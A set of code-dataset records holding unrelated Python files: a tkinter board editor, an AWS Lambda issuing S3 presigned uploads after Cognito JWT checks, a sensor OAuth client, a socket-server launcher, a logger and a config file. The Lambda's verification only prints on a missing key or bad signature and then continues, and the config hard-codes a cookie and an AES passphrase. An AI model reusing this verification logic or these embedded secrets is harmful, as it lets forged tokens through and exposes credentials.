lambda e: self.model.copy())\n self.canvas.bind('' , lambda e: self.model.paste(False))\n self.canvas.bind('' , lambda e: self.model.cut())\n\n self.canvas.bind('' , lambda e: self.repeatLastCommand())\n\n #TODO: +/- to change last inserted object\n #TODO: invert/mirror?\n \n self.widgetToFocus.focus_set()\n\n def center(self):\n self.update_idletasks()\n bbox = self.bbox(tk.ALL)\n xCenter = (bbox[0] + bbox[2]) / 2.0\n w = self.winfo_width()\n x0 = xCenter - w/2.0\n x1 = xCenter + w/2.0\n #TODO: why is it shifted?\n x0 -= 1\n x1 -= 1\n bbox = list(bbox)\n bbox[0] = int(x0)\n bbox[2] = int(x1)\n self.configure(scrollregion=bbox)\n\n def setCommandlineBackgroundColor(self, color):\n self.colorBackground = color\n def setCommandlineTextColorNormal(self, color):\n self.colorTextNormal = color\n def setCommandlineTextColorError(self, color):\n self.colorTextError = color\n\n\n # ---------- modes ----------\n\n def setMode(self, mode):\n self._mode = mode\n\n def isModeEditSolution(self):\n return self._mode == self.MODE_EDIT_SOLUTION\n\n def isModeEditLevel(self):\n return self._mode == self.MODE_EDIT_LEVEL\n\n\n # ---------- listener ----------\n\n def addOnObjectCodeChangeListener(self, listener):\n self.onObjectCodeChangeListener.add(listener)\n\n def notifyObjectCodeChanged(self, newObjectCode):\n for listener in self.onObjectCodeChangeListener:\n listener(newObjectCode)\n \n\n # ---------- listen to model ----------\n\n def onChangeListener(self, change):\n self.isEndActive = False\n\n model = self.model\n done = False\n if change in (model.CHANGE_BG_BORDER, model.CHANGE_BG):\n self.canvas.delete(self.TAG_BORDER)\n self.drawBorder()\n if change == model.CHANGE_BG_BORDER:\n done = True\n\n if done:\n pass\n elif change == model.CHANGE_CURSOR:\n self.canvas.delete(self.TAG_CURSOR)\n self.drawCursor()\n elif change == model.CHANGE_ALL:\n self.canvas.delete(tk.ALL)\n self.drawBorder()\n self.drawBoard()\n self.drawCursor()\n elif change == model.CHANGE_HAS_CHANGED:\n return\n elif change == model.CHANGE_AUTHOR:\n return\n else:\n self.canvas.delete(self.TAG_BOARD, self.TAG_CURSOR)\n self.drawBoard()\n self.drawCursor()\n self.update_idletasks()\n\n def onSolutionChangeListener(self):\n assert self.isModeEditSolution()\n self.canvas.delete(self.TAG_BOARD, self.TAG_CURSOR)\n self.drawBoard()\n\n\n # ---------- listen to gui ----------\n\n def onEndPress(self, event=None):\n self.isEndActive = True\n\n def onClick(self, event):\n if self.isModeEditSolution():\n return\n \n x = self.eventToModelX(event)\n y = self.eventToModelY(event)\n if event.state & tkc.MODIFIER_MASK_SHIFT_ONLY:\n self.model.addCursorRange(x, y)\n elif event.state & tkc.MODIFIER_MASK_CTRL:\n self.model.toggleCursor(x, y)\n else:\n self.model.setCursor(x, y)\n\n def onKeyListener(self, event):\n #print(\"char: {e.char}, keycode: {e.keycode}, keysym: {e.keysym}, keysym_num: {e.keysym_num}, state: {e.state}, type: {e.type}\".format(e=event))\n if event.state&tkc.MODIFIER_MASK_CTRL==0 and event.state&tkc.MODIFIER_MASK_ALT==0:\n #self.enterNewObject()\n #tkx.append_text(self.entry, event.char)\n value = event.keysym_num\n if not imageOpener.getImage.isValid(value):\n return\n self.model.setFieldAtCursor(value)\n return tkc.RETURNCODE_BREAK\n\n def toggleDebugCursor(self, mode):\n if mode == self.debugCursor:\n self.debugCursor = self.DEBUG_CURSOR_OFF\n else:\n self.debugCursor = mode\n self.onChangeListener(self.model.CHANGE_CURSOR)\n return tkc.RETURNCODE_BREAK\n\n def setViewObjectCode(self, value):\n if value != self.OBJECT_CODE_OFF:\n self.notifyObjectCodeChanged(value)\n if value != self.viewObjectCode:\n self.viewObjectCode = value\n self.onChangeListener(self.model.CHANGE_BOARD)\n return tkc.RETURNCODE_BREAK\n\n def repeatLastCommand(self):\n if self._last_cmd == None:\n return\n self.evaluateCommand(self._last_cmd)\n\n\n # ---------- enter object code ----------\n\n def enterNewObject(self):\n if self.entry != None:\n self.entry.focus_set()\n return\n \n if self.model.hasCursor() and not self.isModeEditSolution():\n x = self.model.getLastCursorX()\n y = self.model.getLastCursorY()\n x = self.modelToPlaceX(x)\n y = self.modelToPlaceY(y)\n x += imageOpener.FLD_SIZE/2\n y += imageOpener.FLD_SIZE/2\n width = 3\n else:\n x = self.winfo_width() / 2\n y = self.winfo_height() / 2\n width = len(self.CODE_SET_AUTHOR) + 20\n #insertbackground: cursor color\n self.entry = tkx.Entry(self, width=width, bg=self.colorBackground, insertbackground=self.colorTextNormal)\n self.entry.place(x=x, y=y, anchor=tk.CENTER)\n self.entry.focus_set()\n self.entry.bind('', self.enterNewObjectDone)\n self.entry.bind('', self.enterNewObjectCancel)\n self.entry.bind('', lambda e: self.entry.configure(fg=self.colorTextNormal), '+')\n def onKey(e):\n #print(\"char: {e.char}, keycode: {e.keycode}, keysym: {e.keysym}, keysym_num: {e.keysym_num}, state: {e.state}, type: {e.type}\".format(e=e))\n if e.keycode in tkc.KEYCODES_ARROWS:\n if self.enterNewObjectDone():\n self.event_generate(\"\", keycode=e.keycode, keysym=e.keysym, state=e.state)\n return tkc.RETURNCODE_BREAK\n self.entry.bind('', onKey, '+')\n\n\n CODE_ENTER_AUTHOR = \"author\"\n CODE_SET_AUTHOR = CODE_ENTER_AUTHOR + \"=\"\n CODE_SET_BG = \"bg=\"\n CODE_BG_INC = \"bg++\"\n CODE_BG_DEC = \"bg--\"\n \n def enterNewObjectDone(self, event=None):\n code = tkx.get_text(self.entry)\n if self.evaluateCommand(code):\n self.enterNewObjectSuccess()\n return True\n else:\n self.enterNewObjectError()\n return False\n\n def evaluateCommand(self, code):\n if len(code)==1:\n value = ord(code)\n elif code == self.CODE_ENTER_AUTHOR:\n self.enterAuthor()\n return True\n elif code[:len(self.CODE_SET_AUTHOR)] == self.CODE_SET_AUTHOR:\n self.model.setAuthor(code[len(self.CODE_SET_AUTHOR):].strip())\n return True\n elif code[:len(self.CODE_SET_BG)] == self.CODE_SET_BG:\n bg = code[len(self.CODE_SET_BG):].strip()\n return self.model.setBgScheme(bg)\n elif code == self.CODE_BG_INC:\n self.model.nextBg()\n return True\n elif code == self.CODE_BG_DEC:\n self.model.prevBg()\n return True\n else:\n try:\n value = int(code)\n except:\n value = imageOpener.getBackground.shortNameToValue(code)\n if value in backgrounds.CATEGORY_BORDER:\n self.model.setBgBorder(value)\n elif value in backgrounds.CATEGORY_UNTOUCHED:\n self.model.setBgUntouched(value)\n elif value in backgrounds.CATEGORY_TOUCHED:\n self.model.setBgTouched(value)\n else:\n return False\n return True\n\n if self.isModeEditSolution():\n return False\n if not self.model.hasCursor():\n return False\n if imageOpener.getImage.isValid(value):\n self.model.setFieldAtCursor(value)\n else:\n return False\n return True\n\n def enterNewObjectSuccess(self):\n self._last_cmd = tkx.get_text(self.entry)\n self.enterNewObjectCancel()\n\n def enterNewObjectError(self):\n self.entry.configure(fg=self.colorTextError)\n\n def enterNewObjectCancel(self, event=None):\n self.entry.place_forget()\n self.widgetToFocus.focus_set()\n self.entry = None\n\n\n def enterAuthor(self):\n author = tkSimpleDialog.askstring(\n title = _(\"Author\"),\n prompt = _(\"Please enter the name of the author:\"),\n initialvalue = self.model.getAuthor(),\n )\n self.widgetToFocus.focus_set()\n if author != None:\n self.model.setAuthor(author)\n return True\n return False\n\n\n # ---------- coordinate conversions ----------\n\n def modelToCanvasX(self, x):\n return x * imageOpener.FLD_SIZE\n def modelToCanvasY(self, y):\n return y * imageOpener.FLD_SIZE\n\n def modelToPlaceX(self, x):\n return self.modelToCanvasX(x) - self.canvas.canvasx(0)\n def modelToPlaceY(self, y):\n return self.modelToCanvasY(y) - self.canvas.canvasy(0)\n\n def eventToModelX(self, event):\n return int(self.canvas.canvasx(event.x)) // imageOpener.FLD_SIZE\n def eventToModelY(self, event):\n return int(self.canvas.canvasy(event.y)) // imageOpener.FLD_SIZE\n\n \n # ---------- drawing ----------\n\n def drawImage(self, x, y, image, **kw):\n self.canvas.create_image(self.modelToCanvasX(x), self.modelToCanvasY(y), anchor='nw', image=image, **kw)\n\n def drawRectangle(self, x, y, **kw):\n self.canvas.create_rectangle(\n self.modelToCanvasX(x), self.modelToCanvasY(y),\n self.modelToCanvasX(x+1), self.modelToCanvasY(y+1),\n **kw\n )\n\n def drawText(self, x, y, **kw):\n return self.canvas.create_text(\n self.modelToCanvasX(x) + imageOpener.FLD_SIZE/2,\n self.modelToCanvasY(y) + imageOpener.FLD_SIZE/2,\n **kw\n )\n \n \n def drawBorder(self):\n model = self.model\n imageBG = imageOpener.getBackground(model.getBgBorder())\n # horizontal\n for x in range(-1, model.COLS+1):\n for y in (-1, model.ROWS):\n self.drawImage(x, y, imageBG, tags=(self.TAG_BORDER,))\n # vertical\n for x in (-2,-1, model.COLS,model.COLS+1):\n for y in range(-1, model.ROWS+1):\n self.drawImage(x, y, imageBG, tags=(self.TAG_BORDER,))\n \n def drawBoard(self):\n model = self.model\n isModeSolution = self.isModeEditSolution()\n \n if isModeSolution:\n solution = model.getSolution()\n visitedFields = solution.getBoardCoordinates()\n isFlipped = solution.isFlipped()\n else:\n visitedFields = tuple(model.findAll(model.FLD_START))\n isFlipped = False\n \n imageBg = imageOpener.getBackground(model.getBgUntouched())\n imageBgTouched = imageOpener.getBackground(model.getBgTouched())\n for x in range(model.COLS):\n for y in range(model.ROWS):\n fld = model.getField(x=x, y=y)\n if (x,y) in visitedFields:\n tmp = imageBgTouched\n else:\n tmp = imageBg\n\n if isFlipped:\n y = model.ROWS - y - 1\n \n self.drawImage(x, y, image=tmp, tags=(self.TAG_BOARD,))\n if fld == model.FLD_EMPTY:\n continue\n if fld == model.FLD_START and isModeSolution:\n fld = self.OBJ_DOOR_OPEN\n #TODO: do I want to draw the door or continue?\n continue\n self.drawImage(x, y, image=imageOpener.getImage(fld), tags=(self.TAG_BOARD,))\n \n if not isModeSolution and self.viewObjectCode != self.OBJECT_CODE_OFF:\n text = imageOpener.getImage.getShortName(fld),\n self.drawRectangle(x, y, fill=self.textFill, stipple=self.textStipple, width=0)\n self.drawText(x, y, text=text, font=\"-weight bold\", fill=self.textColor, tags=(self.TAG_BOARD,))\n\n if isModeSolution:\n x, y = visitedFields[-1]\n if isFlipped:\n y = model.ROWS - y - 1\n if self.model.isValidField(x, y):\n self.drawImage(x, y, image=imageOpener.getImage(self.OBJ_CAT), tags=(self.TAG_BOARD,))\n #TODO: else: draw indicator in which direction the cat is\n\n\n def drawCursor(self):\n if self.isModeEditSolution():\n return\n\n debugDirection = None\n if self.debugCursor == self.DEBUG_CURSOR_OFF:\n fill = self.cursorFill\n stipple = self.cursorStipple\n virtualCursorFill = self.virtualCursorFill\n virtualCursorStipple = self.virtualCursorStipple\n lastCursorFill = self.lastCursorFill\n lastCursorStipple = self.lastCursorStipple\n elif self.debugCursor == self.DEBUG_CURSOR_REAL:\n fill = self.textFill if self.isTextFillDominant else self.cursorFill\n debugColor = self.textColor if self.isTextColorDominant else self.cursorColor\n stipple = self.textStipple if self.isTextStippleDominant else self.cursorStipple\n virtualCursorFill = self.textFill if self.isTextFillDominant else self.virtualCursorFill\n virtualCursorDebugColor = self.textColor if self.isTextColorDominant else self.virtualCursorColor\n virtualCursorStipple = self.textStipple if self.isTextStippleDominant else self.virtualCursorStipple\n lastCursorFill = self.textFill if self.isTextFillDominant else self.lastCursorFill\n lastCursorDebugColor = self.textColor if self.isTextColorDominant else self.lastCursorColor\n lastCursorStipple = self.textStipple if self.isTextStippleDominant else self.lastCursorStipple\n indices = tuple(range(len(self.model.getCursors())))\n else:\n fill = 'yellow'\n debugColor = 'red'\n stipple = tkc.STIPPLE_GRAY_50\n virtualCursorFill = self.textFill if self.isTextFillDominant else self.virtualCursorFill\n virtualCursorDebugColor = self.textColor if self.isTextColorDominant else self.virtualCursorColor\n virtualCursorStipple = self.textStipple if self.isTextStippleDominant else self.lastCursorStipple\n lastCursorFill = fill\n lastCursorDebugColor = debugColor\n lastCursorStipple = stipple\n if self.debugCursor == self.DEBUG_CURSOR_LEFT_TO_RIGHT:\n indices = tuple(self.model.cursors.index(c) for c in self.model.getCursorsForSwapRight())\n debugDirection = u\"→\"\n elif self.debugCursor == self.DEBUG_CURSOR_RIGHT_TO_LEFT:\n indices = tuple(self.model.cursors.index(c) for c in self.model.getCursorsForSwapLeft())\n debugDirection = u\"←\"\n elif self.debugCursor == self.DEBUG_CURSOR_TOP_TO_BOTTOM:\n indices = tuple(self.model.cursors.index(c) for c in self.model.getCursorsForSwapDown())\n debugDirection = u\"↓\"\n elif self.debugCursor == self.DEBUG_CURSOR_BOTTOM_TO_TOP:\n indices = tuple(self.model.cursors.index(c) for c in self.model.getCursorsForSwapUp())\n debugDirection = u\"↑\"\n else:\n assert False\n\n i = 0\n cursors = iter(self.model.getCursors())\n try:\n lastCursor = next(cursors)\n except StopIteration:\n lastCursor = None\n\n # draw normal cursors\n for c in cursors:\n x,y = lastCursor\n self.drawRectangle(x, y,\n width = self.cursorWidth,\n outline = self.cursorColor,\n stipple = stipple,\n fill = fill,\n tags = (self.TAG_CURSOR),\n )\n if self.debugCursor:\n self.drawText(x, y,\n text = str(indices.index(i)) if i in indices else \"\",\n font = \"-weight bold\",\n fill = debugColor,\n tags = (self.TAG_CURSOR),\n )\n i += 1\n lastCursor = c\n\n # draw last cursor\n if lastCursor != None:\n x,y = lastCursor\n self.drawRectangle(x, y,\n width = self.lastCursorWidth,\n outline = self.lastCursorColor,\n stipple = lastCursorStipple,\n fill = lastCursorFill,\n tags = (self.TAG_CURSOR),\n )\n if self.debugCursor:\n self.drawText(x, y,\n text = str(indices.index(i)) if i in indices else \"\",\n font = \"-weight bold\",\n fill = lastCursorDebugColor,\n tags = (self.TAG_CURSOR),\n )\n i += 1\n\n # draw virtual cursor\n if self.model.hasVirtualCursor():\n x,y = self.model.getVirtualCursor()\n\n self.drawRectangle(x, y,\n width = self.virtualCursorWidth,\n outline = self.virtualCursorColor,\n stipple = virtualCursorStipple,\n fill = virtualCursorFill,\n tags = (self.TAG_CURSOR),\n )\n if self.debugCursor:\n self.drawText(x, y,\n text = 'v',\n font = \"-weight bold\",\n fill = virtualCursorDebugColor,\n tags = (self.TAG_CURSOR),\n )\n i += 1\n\n if debugDirection != None:\n t = self.drawText(self.model.COLS, self.model.ROWS,\n text = debugDirection,\n font = \"-weight bold\",\n fill = debugColor,\n tags = (self.TAG_CURSOR),\n )\n self.canvas.create_rectangle(self.canvas.bbox(t),\n width = 0,\n fill = fill, \n stipple = stipple, \n tags = (self.TAG_CURSOR),\n )\n self.canvas.lift(t)\n\n\n \n\n\nif __name__=='__main__':\n import model\n import logging\n \n ffn = \"../_level-vorlagen/irka-%03d.afg\" % 15\n m = model.Model()\n m.readFile(ffn, log=logging.log)\n\n b = Board(master=None, model=m)\n b.pack()\n b.update()\n b.center()\n b.mainloop()\n","sub_path":"py/gui_board.py","file_name":"gui_board.py","file_ext":"py","file_size_in_byte":27044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"134277993","text":"import logging\nimport boto3\nfrom botocore.exceptions import ClientError\nimport os\nimport time\nimport urllib.request\nfrom jose import jwk, jwt\nfrom jose.utils import base64url_decode\nimport json\n\nregion = os.getenv('region')\nuserpool_id = os.getenv('userpool_id')\napp_client_id = os.getenv('app_client_id')\nkeys_url = 'https://cognito-idp.{}.amazonaws.com/{}/.well-known/jwks.json'.format(region, userpool_id)\n\nwith urllib.request.urlopen(keys_url) as f:\n response = f.read()\nkeys = json.loads(response.decode('utf-8'))['keys']\n\nBUCKET = os.getenv('UploadBucket')\n\n\ndef verify_identification_token(token):\n \"\"\"\n This method\n :param customerID: email of customer\n :param token: token received from cognito authentication\n :return:\n \"\"\"\n headers = jwt.get_unverified_headers(token)\n kid = headers['kid']\n # search for the kid in the downloaded public keys\n key_index = -1\n for i in range(len(keys)):\n if kid == keys[i]['kid']:\n key_index = i\n break\n if key_index == -1:\n print('Public key not found in jwks.json')\n\n # construct the public key\n public_key = jwk.construct(keys[key_index])\n # get the last two sections of the token,\n # message and signature (encoded in base64)\n message, encoded_signature = str(token).rsplit('.', 1)\n # decode the signature\n decoded_signature = base64url_decode(encoded_signature.encode('utf-8'))\n # verify the signature\n if not public_key.verify(message.encode(\"utf8\"), decoded_signature):\n print('Signature verification failed')\n\n print('Signature successfully verified')\n # since we passed the verification, we can now safely\n # use the unverified claims\n claims = jwt.get_unverified_claims(token)\n\n if time.time() > claims['exp']:\n print('Token is expired')\n return False\n\n if claims['aud'] != app_client_id: # or claims['email'] != customerID:\n print('Token was not issued for this audience')\n return False\n return claims['email']\n\n\ndef create_presigned_post(bucket_name, object_name, fields=None, conditions=None, expiration=3600):\n # Generate a presigned S3 POST URL\n s3_client = boto3.client('s3', region_name='us-west-2')\n try:\n response = s3_client.generate_presigned_post(bucket_name,\n object_name,\n Fields=fields,\n Conditions=conditions,\n ExpiresIn=expiration)\n except ClientError as e:\n logging.error(e)\n return None\n\n # The response contains the presigned URL and required fields\n return response\n\n\ndef lambda_handler(event, context):\n if 'Authorization' not in event['headers'] or not verify_identification_token(event['headers']['Authorization']):\n return {\"statusCode\": 403, \"body\": json.dumps({\n \"error\": \"Token has expired or been issued to different user.\"\n }), 'headers': {\"Access-Control-Allow-Origin\": \"*\"}}\n\n userID = verify_identification_token(event['headers']['Authorization'])\n user = userID.split('@')[0]\n\n body = json.loads(event['body'])\n filename = body['filename']\n\n presigned = create_presigned_post(BUCKET, '{}/{}'.format(user, filename))\n\n presigned['fields']['bucket'] = BUCKET\n response = {\"statusCode\": 200, \"body\": json.dumps({\n \"presigned\": presigned\n }), 'headers': {\"Access-Control-Allow-Origin\": \"*\"}}\n\n return response\n","sub_path":"proxy/upload_api/upload_stack/handlers/signedURL/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"393845827","text":"# pylint: disable=broad-except,invalid-name,wrong-import-position\n\"\"\"\n EnviroPhat client model\n\"\"\"\nimport os\nimport sys\nimport logging\nimport time\nfrom urllib.parse import urlparse\nimport simplejson as json\n\nfrom oauthlib.oauth2 import BackendApplicationClient\nfrom oauthlib.oauth2.rfc6749.errors import TokenExpiredError\nfrom requests_oauthlib import OAuth2Session\n\nfrom compliance_fixes.apigee import apigee_compliance_fix\nfrom envirophat import leds\n\nsys.path.insert(0, os.path.dirname(\n os.path.realpath(__file__)) + '/../../lib')\n\nfrom enviro.data import EnviroPhatData # noqa\n\nlogger = logging.getLogger(__name__)\n\n\nclass EnviroPhatClient(object):\n \"\"\" encapsulate EnviroPhat client in a class \"\"\"\n\n def __init__(self, **kwargs):\n \"\"\" instantiate the class \"\"\"\n self.required = ('CLIENT_ID', 'CLIENT_SECRET', 'OAUTH_TOKEN_URL',\n 'PROTECTED_URL')\n self.kwargs = kwargs\n self._validate(self.kwargs)\n\n def _validate(self, kwargs):\n \"\"\" verify the required variables are defined \"\"\"\n print(kwargs)\n for required in self.required:\n if not kwargs.get(required.lower(), None):\n raise AttributeError(\n \"'%s/%s' is None\" % (required, required.lower())\n )\n for url in ('OAUTH_TOKEN_URL', 'PROTECTED_URL'):\n parsed_url = urlparse(kwargs.get(url.lower()))\n scheme = parsed_url.scheme\n netloc = parsed_url.netloc.split(':')[0]\n if not bool(scheme) or not bool(netloc) \\\n or scheme == 'None' or netloc == 'None':\n raise AttributeError(\n \"'%s/%s' is not a valid URL: '%s'\" % (\n url, url.lower(), kwargs.get(url.lower())\n )\n )\n\n def run(self):\n \"\"\" run the main logic \"\"\"\n logger.info(\"Starting...\")\n client = BackendApplicationClient(\n client_id=self.kwargs['client_id']\n )\n client_creds = {\n 'client_id': self.kwargs['client_id'],\n 'client_secret': self.kwargs['client_secret']\n }\n session = OAuth2Session(\n client=client,\n # not enabled for client_credentials grant\n # auto_refresh_url=kwargs['oauth_token_refresh_url'],\n # auto_refresh_kwargs=client_creds\n )\n session = apigee_compliance_fix(session)\n session.fetch_token(\n token_url=self.kwargs['oauth_token_url'],\n **client_creds\n )\n leds.off()\n while True:\n if self.kwargs['leds']:\n leds.on()\n data = EnviroPhatData.get_sample()\n if self.kwargs['leds']:\n leds.off()\n try:\n # 'application/x-www-form-urlencoded'\n # session.post(self.kwargs['protected_url'], data=data)\n req = session.post(\n self.kwargs['protected_url'], data=json.dumps(data)\n )\n except TokenExpiredError:\n logger.info(\"Trying to fetch OAuth token again...\")\n session.fetch_token(\n token_url=self.kwargs['oauth_token_url'],\n **client_creds\n )\n session.post(self.kwargs['protected_url'], data=data)\n if req.status_code not in [200, 201]:\n logger.warn(req.text)\n raise RuntimeError(\n \"incorrect status code '%i'\" % req.status_code\n )\n logger.debug(\n \"Sleeping for '%f' seconds...\" % self.kwargs['internval']\n )\n time.sleep(self.kwargs['internval'])\n logger.info(\"Finished.\")\n","sub_path":"client/lib/enviro/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"203925360","text":"#!/usr/local/bin/python3\nimport socketserver, sys\n\n# local imports\nimport serverz, filerz\n\nHOST = \"0.0.0.0\"\nPORT_RANGE = (10000, 10100)\n\n\n# lower bound of the range is our starting value by exculded (+ 1)\nport = PORT_RANGE[0] + 1\n# Upper bound of the range is our limit value\nwhile port < PORT_RANGE[1]:\n # Try to bind the server on selected port\n try:\n # Create the server\n with serverz.MyCustomServer((HOST, port), serverz.MyTCPHandler) as server:\n print(\"SERVER => started in {} on port {}\".format(HOST, port))\n # generate the admin file\n filerz.generate_json(\"default\", \"admin\", serverz.generate_signature(\"default\", \"admin\"))\n # infinite loop starts here\n server.serve_forever()\n # exception probably means port coulnd't be bound\n except BaseException as error:\n # however, if the error is a keyboard interrupt then we know it's the user\n if isinstance(error, KeyboardInterrupt):\n print(\"SERVER => KeyboardInterrupt\")\n # so everything is fine and we need exit before the error message\n sys.exit(0)\n # if another exception than KeyboardInterrupt try another port in range\n port += 1\n\nprint(\"ERROR => failed to start in {} on any port starting from {} to {}\".format(HOST, PORT_RANGE[0], PORT_RANGE[1]))\n\n\n","sub_path":"patched/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"88533630","text":"# version 1.02\n# -*- coding: utf-8 -*-\nimport time\nimport os, re\n\nclass Logger():\n\t#write any logs in specific file\"\n\tdef __init__(self, path=os.path.dirname(os.path.abspath(__file__)).replace('mylibs',''), filename='default.log'):\n\t\tself.path = path\n\t\tself.filename = filename\n\t\tself.maxsize = 550 #byte\n\n\tdef check_filesize(self, filename):\n\t\ttry:\n\t\t\twhile True:\n\t\t\t\tsize = os.path.getsize(self.path + filename)/1000 #Kbyte\n\t\t\t\tif (size >= self.maxsize):\n\t\t\t\t\tm = re.findall('(?:d*)\\d+', filename)\n\t\t\t\t\tif (m):\n\t\t\t\t\t\tfilename = filename.replace(m[-1]+'.log', '%s.log' %(int(m[-1])+1))\n\t\t\t\t\telse:\n\t\t\t\t\t\tfilename = filename.replace('.log', '0.log')\n\t\t\t\telse:\n\t\t\t\t\tbreak\n\t\texcept Exception as e:\n\t\t\tprint(time.asctime()+ 'LOG check_filesize() ERROR: ' + str(e))\n\t\treturn filename\n\n\tdef write(self, lvl, s):\n\t\ts = str(s)\n\t\tfilename = self.check_filesize(self.filename)\n\t\ttry:\n\t\t\tprint(time.asctime() + ' %s: %s' %(lvl,s))\n\t\t\tf = open(self.path + filename, 'a')\n\t\t\tf.write(time.asctime() +' %s: %s \\n' %(lvl, s))\n\t\t\tif (lvl == 'INFO'):\n\t\t\t\tf.write(time.asctime() +' %s: %s \\n' %('SYSTEM', s))\n\t\t\tf.close()\n\t\texcept Exception as e:\n\t\t\tprint(str(time.asctime() + 'LOG WRITE ERROR: ' + str(e)))\n\n\tdef read(self, lvl='INFO,ERROR'):\n\t\tfilename = self.check_filesize(self.filename)\n\t\tlvl = lvl.split(',')\n\t\tlog = []\n\t\ttry:\n\t\t\twith open(self.path + filename, 'r') as f:\n\t\t\t\tcontent = f.readlines()\n\t\t\tfor line in content:\n\t\t\t\tfor key in lvl:\n\t\t\t\t\tif (line.find(key) != -1):\n\t\t\t\t\t\tlog.append(line)\n\t\t\tf.close()\n\t\texcept Exception as e:\n\t\t\tprint(str(time.asctime()+ 'LOG ERROR: ' + str(e)))\n\t\treturn log\n\n\tdef clear(self, lvl='INFO'):\n\t\tfilename = self.check_filesize(self.filename)\n\t\tlvl = lvl.split(',')\n\t\tlog = []\n\t\ttry:\n\t\t\twith open(self.path + filename, 'r') as f:\n\t\t\t\tcontent = f.readlines()\n\t\t\tfor line in content:\n\t\t\t\tfor key in lvl:\n\t\t\t\t\tif(line.find(key) == -1):\n\t\t\t\t\t\tlog.append(line)\n\t\t\tf.close()\n\t\texcept Exception as e:\n\t\t\tprint(str(time.asctime()+ 'LOG CLEAR ERROR (read from file): ' + str(e)))\n\t\ttry:\n\t\t\twith open(self.path + filename, 'w') as f:\n\t\t\t\tf.writelines(log)\n\t\t\tf.close()\n\t\texcept Exception as e:\n\t\t\tprint(str(time.asctime()+ 'LOG CLEAR ERROR (write to file): ' + str(e)))\n\n\t\tself.write('INFO', 'log has cleared')","sub_path":"webiopi/mylibs/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"272768933","text":"def f(k,s):\n if s==2:\n return 1\n else:\n if k>=int(s/2):\n if s%2==0:\n return int(s*s/4)\n else:\n return int(s/2)*(int(s/2)+1)\n else:\n return max(k*f(k,s-k),f(k+1,s))\n\nprint(f(1,int(input().strip()))) ","sub_path":"Code/CodeRecords/2120/60788/256323.py","file_name":"256323.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"207787355","text":"#容器类型包括:序列类型(列表,元组,字符串),映射类型(字典)\r\n#定制容器,就要了解有关的协议:\r\n#不可变容器:__len__()与__getitem__()\r\n#可变容器在不可变容器基础上有__setitem__()与__delitem__()\r\nclass MyList():\r\n def __init__(self,*args):\r\n self.value = [x for x in args] #建立列表,列表推导式:见3.8\r\n self.count = {}.fromkeys(range(len(args)),0)#以字典形式访问元素被访问次数,计数初始值设置为10\r\n print(type(self.value))\r\n def __len__(self):\r\n return len(self.value)\r\n def __getitem__(self, item):\r\n self.count[item] += 1\r\n return self.value[item]\r\nli1 = MyList(1,3,5,7,9)\r\nli2 = MyList(2,4,6,8,10)\r\nprint(li1[1],li2[3],li1[4]+li2[0])\r\nprint(li1.count)\r\nprint(li2.count)\r\nprint(len(li1))","sub_path":"python自带的更多方法/属性访问/4.定制序列.py","file_name":"4.定制序列.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"512910771","text":"import os\nimport logging\n\n\n# [Utility Functions and Classes]\ndef get_base_dir_by_name(name):\n \"\"\"\n Gets path of project directory\n :param name: Project name\n :return: Project directory path\n \"\"\"\n path = os.getcwd()\n lastchar = path.find(name) + len(name)\n return os.getcwd()[0:lastchar]\n\n\ndef gen_moxa_url(ip: str):\n return \"http://%s/api/slot/0/io/di\" % ip\n\n\ndef http_server_url():\n return 'http://' + HTTP_SERVER_ADDRESS + \":\" + str(HTTP_SERVER_PORT)\n\n\nclass Entrance:\n name = None\n moxa_ip = None\n # moxa_dis & cam_ips correspond with each other\n moxa_di_names = None\n moxa_dis = None\n cam_ips = None\n cookie = None\n was_pins_active = None\n\n def __init__(self, moxa_ip, moxa_di_names, moxa_dis, cam_ips, name='EMPTY'):\n self.name = name\n self.moxa_ip = moxa_ip\n self.moxa_di_names = moxa_di_names\n self.moxa_dis = moxa_dis\n self.cam_ips = cam_ips\n\n self.was_pins_active = [False] * len(moxa_dis)\n\n def __str__(self):\n return str({'name': self.name, 'moxa_ip': self.moxa_ip,\n 'moxa_di_names': self.moxa_di_names, 'moxa_dis': self.moxa_dis,\n 'cam_ips': self.cam_ips, 'was_pins_active': self.was_pins_active\n })\n\n\n# [HTTP Settings]\nHTTP_SERVER_ADDRESS = '127.0.0.1'\nHTTP_SERVER_PORT = 741\nHTTP_COOKIE = \"KfFdxguMgver6kI\"\nAES_PASSPHRASE = \"The magic words are squeamish ossifrage\"\n\n# [Socket Settings]\n#SOCKET_SERVER_ADDRESS = '127.0.0.1'\n#SOCKET_SERVER_PORT = 19702\n#SOCKET_MAX_THREADS = 4\n\n# [Utility Paths]\nPROJECT_DIR = get_base_dir_by_name('carplates_server')\n\n# [Image Properties]\nIMAGE_HEIGHT = 1136\nIMAGE_WIDTH = 1920\n\n# [Photo Series Properties]\nPHOTO_SERIES_SIZE = 9\nSHOT_INTERVAL = 50 # ms\n\n# [Logging]\nLOG_LEVEL = logging.INFO\nLOG_FILE = '/var/log/carplates_server/pentagon.log'\n\nSHOTS_DB_PATH = '/opt/carplates_server/data/shots.db'\n\n# [Whitelist And Borders]\nWHITELIST_DB_PATH = 'whitelist'\nWHITELIST_TABLE_NAME = 'whitelist_table'\n\n# [MOXA Entrances]\nENTRANCES = [\n Entrance(name='VICI_IN_a', moxa_ip='10.1.129.51',\n moxa_di_names=['IN'], moxa_dis=[0],\n cam_ips=['10.1.129.11'])\n\n ]\n\n\"\"\"\n Entrance(name='A2', moxa_ip='192.168.60.51',\n moxa_di_names=['IN', 'OUT'], moxa_dis=[0, 2],\n cam_ips=['192.168.60.14', '192.168.60.11']),\n Entrance(name='K1', 